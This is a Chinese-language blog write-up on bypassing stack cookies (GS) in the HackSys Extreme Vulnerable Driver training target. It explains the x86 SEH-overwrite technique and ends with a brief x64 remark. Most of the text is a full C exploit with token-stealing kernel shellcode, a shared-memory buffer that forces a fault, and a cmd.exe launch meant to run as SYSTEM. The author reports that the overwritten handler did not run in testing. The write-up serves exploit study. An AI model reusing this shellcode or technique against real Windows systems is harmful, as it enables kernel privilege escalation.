[HEVD]enable GS

接下来要面对的就是开启了gs保护的栈溢出了

gs保护

gs保护其实就类似linux下的canary保护,都是在函数返回前校验原先存储在栈上的特殊值是否被修改,以此判断是否遭受了溢出攻击

程序启动时系统会随机生成一个cookie值,并将这个值的副本保存在.data段的开头

每个函数开始执行时都会将该值与栈指针寄存器异或并保存在栈中,返回时再次与栈指针寄存器异或检查一致

上一次目标关闭了gs保护(通过__declspec关键字)

1
2
3
4
5
6
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)

而这一次不再关闭

1
2
3
4
5
NTSTATUS
TriggerBufferOverflowStackGS(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)

x86

在32位下,绕过gs常用的办法是利用SEH机制,这个在以前的文章已经介绍过了,不再着重介绍

1
2
3
4
struct EXCEPTION_REGISTRATION_RECORD {
EXCEPTION_REGISTRATION_RECORD* Next; // 指向下一个 SEH 节点的指针
PEXCEPTION_ROUTINE Handler; // 异常处理函数的地址
};

我们要做的就是覆盖Handler字段,并在触发gs检查之前先触发异常

还是看栈结构

红色圈起来的部分上面就是seh handler,下面则是返回地址

在修改handler后,我们就需要触发异常,选择的办法就是利用memcpy触发,就是将我们的payload放置在一个单独页的尾部,然后给出的size超过这个页,使得触发非法访问异常

我们要覆盖的就是handler,距离是aa8 - 894 = 214

让我们看exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#include <stdio.h>
#include <windows.h>
#include <conio.h>

#define HACKSYS_HEVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS)

#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
#define SHARED_MEMORY_NAME "HackSysExtremeVulnerableDriverSharedMemory"
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
// token-stealing shellcode taken from hasherezade's PoC
// stub taken from https://klue.github.io/blog/2017/09/hevd_stack_gs/ this write up (found the same stack offsets manually earlier), rewrote it to AT&T, generated opcodes, tested

unsigned char kShellcode[] = {
/* token-stealing code:
0: 60 pusha
1: 64 a1 24 01 00 00 mov %fs:0x124,%eax
7: 8b 40 50 mov 0x50(%eax),%eax
a: 89 c1 mov %eax,%ecx
c: ba 04 00 00 00 mov $0x4,%edx
11: 8b 80 b8 00 00 00 mov 0xb8(%eax),%eax
17: 2d b8 00 00 00 sub $0xb8,%eax
1c: 39 90 b4 00 00 00 cmp %edx,0xb4(%eax)
22: 75 ed jne 0x11
24: 8b 90 f8 00 00 00 mov 0xf8(%eax),%edx
2a: 8b b9 f8 00 00 00 mov 0xf8(%ecx),%edi
30: 83 e2 f8 and $0xfffffff8,%edx
33: 83 e7 07 and $0x7,%edi
36: 01 fa add %edi,%edx
38: 89 91 f8 00 00 00 mov %edx,0xf8(%ecx)
3e: 61 popa
3f: 31 c0 xor %eax,%eax
*/
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00,
0x00, 0x00, 0x61, 0x31, 0xC0,
/* now, kernel clean return stub:
mov (esp+0x78c), %edi
mov (esp+0x790), %esi
mov (esp+0x794), %ebx
add $0x9b8, %esp
pop %ebp
ret $0x8
*/
0x8b, 0xbc, 0x24, 0x8c, 0x07, 0x00, 0x00, 0x8b, 0xb4, 0x24, 0x90, 0x07,
0x00, 0x00, 0x8b, 0x9c, 0x24, 0x94, 0x07, 0x00, 0x00, 0x90, 0x90, 0x90,
0x81, 0xc4, 0xb8, 0x09, 0x00, 0x00, 0x5d, 0xc2, 0x08, 0x00
};

const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";

HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}

void close_device(HANDLE device)
{
CloseHandle(device);
}

BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
// Payatu's official HEVD exploit code instead
// For now let's go with Payatu's code ;]
ULONG BytesReturned;
SIZE_T PageSize = 0x1000; // 4096
HANDLE Sharedmemory = NULL;
PVOID MemoryAddress = NULL;
PVOID SuitableMemoryForBuffer = NULL;
LPVOID SharedMappedMemoryAddress = NULL;
SIZE_T SeHandlerOverwriteOffset = 0x214; // 532, this our payload length, we put it in the last 532 bytes of a 4096-byte (one page) memory block
// A*512 + DWORD XORED COOKIE + 3 DWORD JUNKS + DWORD SE HANDLER = 512+4+12+4 = 532
// deliberately, so reading past this range will cause an exception in kernel mode, which in turn should trigger the SEH handler we just overwrote
LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME;

// Get the device handle
printf("\t\t[+] Creating Shared Memory\n");
// Create the shared memory
Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, PageSize, SharedMemoryName); // Create a 4KB mapping
if (!Sharedmemory) {
printf("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
printf("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory);
}
printf("\t\t[+] Mapping Shared Memory To Current Process Space\n");
// Map the shared memory in the process space of this process
SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory, FILE_MAP_ALL_ACCESS, 0, 0, PageSize); // Mapped view of file - a virtual address in user space, one page 4KB
if (!SharedMappedMemoryAddress) {
printf("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
printf("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress);
}

SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset)); // set this to 3564-th byte, the beginning of our payload
// e.g. 0x1000 (4096) + (4096 - 532 = 3564), which means that our payload (A*512+DWORD (COOKIE) + 3 DWORDS (JUNK) + DWORD (EIP SEHANDLER)) MUST START HERE
// so our payload should be 532-bytes long
// and reading past it will cause reading past the 4096 byte-long SharedMappedMemoryAddress - and cause an exception while in kernel mode
printf("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer);

printf("\t\t[+] Preparing Buffer Memory Layout\n");

RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);

MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x210); // SE handler
*(PULONG)MemoryAddress = (ULONG)kShellcode;

printf("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);
printf("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress);

printf("\t\t[+] EoP Payload: 0x%p\n", kShellcode); // kShellcode
printf("\t[+] Triggering Kernel Stack Overflow GS\n");
printf("\t[+] Making the driver read from usermode %x to %x.\n", (ULONG)SuitableMemoryForBuffer, (ULONG)((ULONG)SuitableMemoryForBuffer + (ULONG)SeHandlerOverwriteOffset));
OutputDebugString("****************Kernel Mode****************\n");
// RAISE_EXCEPTION_IN_KERNEL_MODE is just a predefined constant (0x4) || NOW DEBUG AGAIN (WITHOUT 0x4 OFFSET) TO SEE IF WE OVERWRITE THE RIGHT POINTERS IN MEMORY (before we hit the canary-checking function, we can see this with a breakpoint right after memcpy call)
DeviceIoControl(device, ioctl_code, (LPVOID)SuitableMemoryForBuffer, (DWORD)SeHandlerOverwriteOffset + 0x4,
NULL, 0, &BytesReturned, NULL);
// Debugger entered on first try; Bugcheck callbacks have not been invoked.
OutputDebugString("****************Kernel Mode****************\n");
return EXIT_SUCCESS;
}

int main()
{
HANDLE dev = open_device(kDevName);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed!\n");
system("pause");
return -1;
}
send_ioctl(dev, HACKSYS_HEVD_IOCTL_STACK_OVERFLOW_GS);
close_device(dev);
system("cmd.exe"); // we should be SYSTEM now, spawn cmd.exe
system("pause");
return 0;
}

与之前普通的栈溢出差别在于

  1. 通过 CreateFileMappingMapViewOfFile 申请 4KB 用户态 共享内存。

    并将payload放置在共享内存的尾部位置,偏移是0x1000 - 0x214 = 0xdec

  2. 触发DeviceIoControl时,传入一个使得memcpy会在复制完payload后会继续访问不存在地址的size,使得memcpy触发异常,进入shellcode的执行

可以看到handler已经被修改为shellcode的地址,但不知道为什么触发异常以后并没有执行这个handler,奇怪

x64

32 位系统的 SEH 信息保存在栈中,然而64位的SEH保存在一个表结构中, 这就意味着我们没法通过覆盖SEH来做到漏洞利用